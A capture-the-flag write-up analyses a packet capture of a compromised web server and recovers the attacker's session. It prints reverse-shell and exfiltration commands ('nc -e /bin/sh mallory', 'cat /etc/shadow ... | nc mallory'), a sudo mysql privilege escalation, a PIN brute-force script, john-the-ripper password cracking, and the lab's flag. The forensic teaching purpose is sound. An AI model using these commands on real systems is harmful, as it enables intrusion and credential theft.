Skip to content

Suspicious communication


🧠 Challenge Text

Hi, emergency troubleshooter,

one of our web servers has apparently been compromised, analyze what happened from the record of recorded suspicious communication.

Stay grounded!

🎨 Solution

Download wireshark tool to analyse the communication. Check post request using filter http.request.method == POST.

Among post requests we can notice /uploads/ws.php with body script nc -e "/bin/sh mallory 42121".

Continue with running tcp.port == 42121 filter we can spot

$ tshark -r "$pp" -Y "tcp.port == 42121" -T fields -e tcp.payload  > payload_42121.hex
$ xxd -r -p payload_42121.hex > payload_42121
$ file payload_42121
payload_42121: ASCII text
$ cat payload_42121.b64 
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux 2c1c649ff17d 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 GNU/Linux
whoami
www-data
pwd
/var/www/html/uploads
df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay          98G   44G   51G  47% /
tmpfs            64M     0   64M   0% /dev
shm              64M     0   64M   0% /dev/shm
/dev/sda2        98G   44G   51G  47% /shared
tmpfs           3.9G     0  3.9G   0% /proc/acpi
tmpfs           3.9G     0  3.9G   0% /sys/firmware
tar -zcf /tmp/html.tgz /var/www/html
cat /tmp/html.tgz | nc mallory 42122
sudo -l
Matching Defaults entries for www-data on 2c1c649ff17d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on 2c1c649ff17d:
    (root) NOPASSWD: /usr/bin/mysql*
sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123'
exit

Let's get the html.tgz archive

$ pp=~/thecatch2025/suspicious_communication.pcap
$ tshark -r "$pp" -Y "tcp.dstport == 42122" -T fields -e tcp.payload  > payload_42122.hex
$ xxd -r -p payload_42122.hex > html.tgz
$ tar xvzf html.tgz 
var/www/html/
var/www/html/uploads/
var/www/html/uploads/ws.php
var/www/html/filemanager.php
var/www/html/app/
var/www/html/app/css/
var/www/html/app/css/bootstrap.min.css
var/www/html/app/templates/
var/www/html/app/templates/header.php
var/www/html/app/index.php
var/www/html/app/logout.php
var/www/html/app/admin.php
var/www/html/app/registered.php
var/www/html/app/auth.php
var/www/html/app/backup.php

By now we know the flag location in backup.php

$ cat var/www/html/app/backup.php 
<?php
require 'auth.php';
require_auth();

if (!is_admin()) {
    http_response_code(403);
    die('Access denied. Only admin can create backup.');
}

$flagPath = "/secrets/flag.txt";
$password = current_pass();

if (!file_exists($flagPath)) {
    die("Flag file not found.");
}

$flagData = file_get_contents($flagPath);

$iv = substr(hash('sha256', 'iv' . $password), 0, 16);
$key = hash('sha256', $password, true);

$encrypted = openssl_encrypt($flagData, 'aes-256-cbc', $key, 0, $iv);
if ($encrypted === false) {
    die("Encryption failed.");
}

// Nabídne soubor k downloadu
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="backup.enc"');
header('Content-Length: ' . strlen($encrypted));

echo $encrypted;
exit;

We need password for admin and backup.enc to get content of /secrets/flag.txt file. The admin pasword is most likely present at server (from which we call mallory endpoints) location /etc/apache2/.htpasswd. The file backup.enc may be found in pcap.

Sneaking for Admin Password

$ cat var/www/html/app/auth.php 
<?php
session_start();

function require_auth() {
    if (!isset($_SESSION['user'])) {
        if (!isset($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'])) {
            header('WWW-Authenticate: Basic realm="Internal Access"');
            header('HTTP/1.0 401 Unauthorized');
            echo 'Authentication required';
            exit;
        }

        $username = $_SERVER['PHP_AUTH_USER'];
        $password = $_SERVER['PHP_AUTH_PW'];

        if (verify_htpasswd($username, $password)) {
            $_SESSION['user'] = $username;
            $_SESSION['pass'] = $password;
        } else {
            header('HTTP/1.0 403 Forbidden');
            echo 'Invalid credentials.';
            exit;
        }
    }
}

function verify_htpasswd($user, $pass) {
    $lines = file('/etc/apache2/.htpasswd', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    foreach ($lines as $line) {
        list($ht_user, $hash) = explode(':', trim($line), 2);
        if ($ht_user === $user) {
            if (password_verify($pass, $hash)) {
                return true;
            } elseif (crypt($pass, $hash) === $hash) { // fallback for legacy crypt
                return true;
            }
        }
    }
    return false;
}

function current_user() {
    return $_SESSION['user'] ?? null;
}

function current_pass() {
    return $_SESSION['pass'] ?? null;
}

function is_admin() {
    return current_user() === 'admin';
}

As next step let's check sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123' communication to port 42123.

$ tshark -r "$pp" -Y "tcp.port == 42123" -T fields -e tcp.payload  > payload_42123.hex
$ xxd -r -p payload_42123.hex > payload_42123
$ file payload_42123
payload_42123.b64: ASCII text
$ cat payload_42123
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
mysql:x:100:101:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
tcpdump:x:102:104::/nonexistent:/usr/sbin/nologin
webmaster:x:1000:1000:,,,:/home/webmaster:/bin/bash
tar zcf /tmp/all.tgz /etc /root /home
curl -k -s https://mallory:42120/pincode/`hostname -f` > /tmp/secret
ls -alh /tmp
total 17M
drwxrwxrwt 1 root     root     4.0K Jul 16 08:07 .
drwxr-xr-x 1 root     root     4.0K Jul 16 08:05 ..
-rw-r--r-- 1 root     root      17M Jul 16 08:07 all.tgz
-rw------- 1 root     root      182 Jul 16 08:05 apache2-stderr---supervisor-gvzlqfqv.log
-rw------- 1 root     root        0 Jul 16 08:05 apache2-stdout---supervisor-l6ohlz0u.log
-rw-r--r-- 1 www-data www-data  46K Jul 16 08:07 html.tgz
-rw------- 1 root     root        0 Jul 16 08:05 mysqld_safe-stderr---supervisor-g6ruwbqj.log
-rw------- 1 root     root      135 Jul 16 08:05 mysqld_safe-stdout---supervisor-lct36jfa.log
drwxr-xr-x 2 root     root     4.0K Jul 16 08:05 output
-rw------- 1 root     root      131 Jul 16 08:05 pcap-stderr---supervisor-cl8n5_cp.log
-rw------- 1 root     root        0 Jul 16 08:05 pcap-stdout---supervisor-qrq22yby.log
-rw-r--r-- 1 root     root        6 Jul 16 08:07 secret
cat /etc/shadow | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42124
cat /tmp/all.tgz | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42125
exit

We found necessary data to get content of /etc/apache2/.htpasswd. Firstly, we need to deduce password given curl -k -s https://mallory:42120/pincode/hostname -f> /tmp/secret. Probably it is number only pin and from ls -alh /tmp hint is 6 number length.

Extract salted encrypted shadow.enc and all.tgz.enc data.

# extract tcp payload hex for packets with destination port 42124, concatenate
$ tshark -r "$pp" -Y "tcp.dstport == 42124" -T fields -e tcp.payload > payload_42124.hex

# convert hex -> raw bytes (these raw bytes are the base64 ASCII stream)
$ xxd -r -p payload_42124.hex > payload_42124.b64
$ base64 -d payload_42124 > shadow.enc
$ tshark -r "$pp" -Y "tcp.port == 42125" -T fields -e tcp.payload  > payload_42125.hex
$ xxd -r -p payload_42125.hex > payload_42125.b64
$ base64 -d payload_42125.b64 > all.tgz.enc


$ file shadow.enc
#output: shadow.enc: openssl enc'd data with salted password
$ file all.tgz.enc 
#output: all.tgz.enc: openssl enc'd data with salted password

Getting the encrypted salted data we can start bruteforcing them with 6 digits combination. Sample bash script to test pin in range 000000-999999.

#!/usr/bin/env bash
set -euo pipefail
if [[ $# -lt 1 ]]; then
  echo "Usage: $0 <enc-file> [workers]"
  exit 1
fi
ENC="$1"
WORKERS="${2:-8}"
OUTDIR="./bf_out_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTDIR"
LOG="$OUTDIR/hits.log"

# detect base64
if head -c200 "$ENC" | grep -qE '^[A-Za-z0-9+/=]{40,}'; then
  MODE="-a"
  echo "[*] Detected base64-like input; using openssl -a (base64) mode"
else
  MODE=""
  echo "[*] Detected binary input; using openssl binary mode"
fi

# worker function (will be run via xargs)
test_pin() {
  pin="$1"
  enc="$2"
  out="$3/decrypted_${pin}.bin"
  # decrypt; suppress openssl stderr to avoid noise
  if openssl enc -aes-256-cbc -d ${MODE} -salt -pbkdf2 -iter 10 -in "$enc" -out "$out" -pass pass:"$pin" 2>/dev/null; then
    # basic plausibility checks
    if xxd -l 2 -p "$out" 2>/dev/null | grep -qi '^1f8b'; then
      echo "$pin gzip" >> "$LOG"
      echo "$pin"
      return 0
    fi
    if strings -n 5 "$out" 2>/dev/null | grep -q 'ustar'; then
      echo "$pin tar" >> "$LOG"
      echo "$pin"
      return 0
    fi
    if strings -n 4 "$out" 2>/dev/null | grep -E '^(root:|[a-z0-9._-]{1,30}:x:[0-9]+:[0-9]+:)' >/dev/null 2>&1; then
      echo "$pin shadow" >> "$LOG"
      echo "$pin"
      return 0
    fi
    rm -f "$out"
  else
    rm -f "$out" 2>/dev/null || true
  fi
  return 1
}

export -f test_pin
export ENC
export MODE

# create pin list and run in parallel
seq -w 000000 999999 > "$OUTDIR/pins.txt"
cat "$OUTDIR/pins.txt" | xargs -n1 -P"$WORKERS" -I{} bash -c 'test_pin "$@"' _ {} "$ENC" "$OUTDIR" 2>/dev/null \
  | while read -r found; do
      echo "[+] Candidate PIN: $found"
      outf="$OUTDIR/decrypted_${found}.bin"
      echo "[+] Inspecting $outf ..."
      file "$outf"
      echo "----- strings preview -----"
      strings -n 4 "$outf" | sed -n '1,120p'
      echo "[*] Stopping further attempts."
      pkill -P $$ xargs || true
      exit 0
    done

echo "[*] Completed; no plausible PIN found automatically. Check $LOG for any notes."

Run the script to find the password: 101525.

$ ./test.sh shadow.enc 8
[*] Detected binary input; using openssl binary mode
[+] Candidate PIN: 101525
[+] Inspecting ./bf_out_20251017_204939/decrypted_101525.bin ...
./bf_out_20251017_204939/decrypted_101525.bin: ASCII text
----- strings preview -----
root:$y$j9T$zVPzlCqPMzYrtLnKj.SWG.$d5rqQaU42tiE878efwboig8NTo71Eur1Gxmdd1wXnp1:20285:0:99999:7:::

openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 10 -in all.tgz.enc -out all.tgz -pass pass:101525 && file all.tgz

openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 10 -in shadow.enc -out shadow.dec -pass pass:101525 && file shadow.dec
$ tar xvzf all.tgz
$ cat etc/apache2/.htpasswd 
admin:$1$h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f.
alice:$1$avlK2Jg5$X7yCik3id/h8yv34Fn1Ri0
bob:$1$IbVRrZNw$zFE9jhxtdx1pHtXpryuGD/
carol:$1$7pgrfayT$ig8zFkSv8Etm3qVA.N/j61

Using rockyou dictionary and john the ripper tool we can crack md5 hash to get admin:Bananas9 login.

$ john --wordlist=~/rockyou.txt --format=md5crypt hash.txt
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Bananas9         (admin)
1g 0:00:02:17 100% 0.007289g/s 82857p/s 82857c/s 82857C/s Barns2004..Baileyb)y
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ openssl passwd -1 -salt h7PCtM2Q 'Bananas9'
$1$h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f.

Backup File Attachment

To find encrypted backup.enc file we can use filter. However the packet is encrypted with tls1.2 RSA server key. After digging into all.tgz archive we can try etc/ssl/private/ssl-cert-snakeoil.key server key and run

tshark -r "$pp"   \
  -o "tls.keys_list:0.0.0.0,0,http,etc/ssl/private/ssl-cert-snakeoil.key" \
  -o "tls.desegment_ssl_records:TRUE" \
  -o "tls.desegment_ssl_application_data:TRUE" \
  -o "tcp.desegment_tcp_streams:TRUE" \
  -Y "http contains \"backup.enc\"" \
  -V


...
    [Request URI: /app/backup.php]
    [Full request URI: https://server-www/app/backup.php]
    File Data: 44 bytes
Data (44 bytes)

0000  61 4f 49 33 32 61 79 4c 49 6f 66 4c 43 58 4c 57   aOI32ayLIofLCXLW
0010  5a 74 7a 6d 64 59 30 37 37 51 31 6a 63 59 55 51   ZtzmdY077Q1jcYUQ
0020  6f 66 37 47 46 42 62 4f 57 48 59 3d               of7GFBbOWHY=
...

Grab All Findings to Get the Flag

Let's construct the last php script which takes admin password and encrypted backup.enc file to get the FLAG

<?php
$password = 'Bananas9';

$enc = "aOI32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBbOWHY=";

// reproduce derivation exactly
$iv = substr(hash('sha256', 'iv' . $password), 0, 16);
$key = hash('sha256', $password, true);

// decrypt
$plain = openssl_decrypt($enc, 'aes-256-cbc', $key, 0, $iv);
if ($plain === false) {
    die("Decryption failed\n");
}

echo "Plaintext:\n";
echo $plain;

After running it we have

$ php ~/decrypt_backup.php
Plaintext:
FLAG{kyAi-J2NA-n6nE-ZIX6}